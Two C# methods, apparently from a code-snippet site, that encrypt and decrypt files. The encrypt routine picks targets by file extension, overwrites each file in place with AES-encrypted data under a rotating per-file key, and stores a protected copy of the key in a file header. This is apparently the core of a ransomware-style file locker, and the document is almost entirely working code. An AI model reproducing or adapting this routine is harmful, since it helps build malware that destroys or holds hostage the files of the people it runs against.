/// <summary>
        /// Encrypt a Single File (In Thread Enviroment)
        /// </summary>
        /// <param name="file"></param>
        private void ThreadEncryptFile(FileInfo file)
        {
            // Simple Thread Wait
            Thread.Sleep(10);

#if DEBUG
            Trace.WriteLine("");
            Trace.WriteLine("[*] EncryptFile (" + file.Name + ")" + " ThreadID:" + Thread.CurrentThread.ManagedThreadId.ToString());
            Trace.Indent();
#endif

            // Check File in Filter
            if (Common.FileInFilter(file.Extension))
            {
                // File Signature Decision Gate
                if (!Common.CheckSignature(file))
                {
                    // Encrypt
#if DEBUG
                    Trace.WriteLine("[+] File to Encrypt");
#endif

                    // Read File Data
                    Byte[] fileData = null;
                    FileManager.ReadFile(file, ref fileData);

                    // Encrypt File
                    using (FileStream fs = File.OpenWrite(file.FullName))
                    {
                        fs.Position = 0;

                        // Lock do Get Key and Rotate (with Proba)
                        byte[] key = null;
                        byte[] iv  = null;

                        lock (lockableObject)
                        {
                            // Rotate Key
                            CriptoKeyManager.RotateAesKey();

                            // Copy Keys to Encrypt
                            key = new byte[CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY.Length];
                            iv  = new byte[CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV.Length];

                            Array.Copy(CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV, iv, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV.Length);
                            Array.Copy(CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY, key, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY.Length);

                            // Write Control Structure
                            fs.Write(ConfigurationManager.FILE_SIGNATURE, 0, ConfigurationManager.FILE_SIGNATURE_SIZE);
                            fs.Write(CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_KEY, 0, CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_KEY.Length);
                            fs.Write(CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_IV, 0, CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_IV.Length);
                        }

                        fs.Flush();

                        // Write Encrypted Data
                        CriptoFileManager.Encrypt(fs, ref fileData, ref key, ref iv);

                        // Clear Array
                        Common.ClearArray(ref key);
                        Common.ClearArray(ref iv);
                    }
                }
                else
                {
#if DEBUG
                    Trace.WriteLine("[+] File Alread Encrypted");
#endif
                }
            }
            else
            {
#if DEBUG
                Trace.WriteLine("[+] File Filter not Allowed");
#endif
            }


#if DEBUG
            Trace.Unindent();
#endif
        }
Beispiel #2
0
        /// <summary>
        /// Decrypt a Single File
        /// </summary>
        /// <param name="file"></param>
        private void DecryptFile(FileInfo file)
        {
#if DEBUG
            Trace.WriteLine("");
            Trace.WriteLine("[*] DecryptFile (" + file.Name + ")");
            Trace.Indent();
#endif
            // File Signature Decision Gate
            if (Common.CheckSignature(file))
            {
#if DEBUG
                Trace.WriteLine("[+] File to Decrypt");
#endif
                // Read File Data
                byte[] encryptedFileKey;
                byte[] encryptedFileIv;
                byte[] fileKey     = null;
                byte[] fileIv      = null;
                byte[] fileRawData = null;
                int    keyStartIndex;
                int    ivStartIndex;
                string tempFileName = file.FullName + ".wrk";

                // Read File Data
                FileManager.ReadFile(file, ref fileRawData);

                // Compute Key Start Index
                keyStartIndex = ConfigurationManager.FILE_SIGNATURE_SIZE;

                // Get Key
                encryptedFileKey = new byte[CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_KEY.Length];
                Array.Copy(fileRawData, keyStartIndex, encryptedFileKey, 0, CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_KEY.Length);

                // Compute IV Start Index
                ivStartIndex = keyStartIndex + encryptedFileKey.Length;

                // Get Iv
                encryptedFileIv = new byte[CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_IV.Length];
                Array.Copy(fileRawData, ivStartIndex, encryptedFileIv, 0, CriptoKeyManager.CURRENT_ENCRYPTED_FILE_ENCRIPTION_IV.Length);

                // Decrypt Key and Iv
                CriptoKeyManager.UnprotectSymmetricKey(ref encryptedFileKey, ref fileKey, ref encryptedFileIv, ref fileIv);

                // Decrypt File
                using (FileStream fs = File.Create(tempFileName))
                {
                    fs.Position = 0;

                    // Write Encrypted Data
                    CriptoFileManager.Decrypt(fs, ref fileRawData, ConfigurationManager.FILE_SIGNATURE_SIZE + encryptedFileKey.Length + encryptedFileIv.Length, fileKey, fileIv);
                }

                // Delete Old File
                file.Delete();

                // Copy Temp File Into Old File
                File.Copy(tempFileName, file.FullName);

                // Remove Temp File
                File.Delete(tempFileName);
            }
            else
            {
#if DEBUG
                Trace.WriteLine("[+] File is Not Encrypted");
#endif
            }


#if DEBUG
            Trace.Unindent();
#endif
        }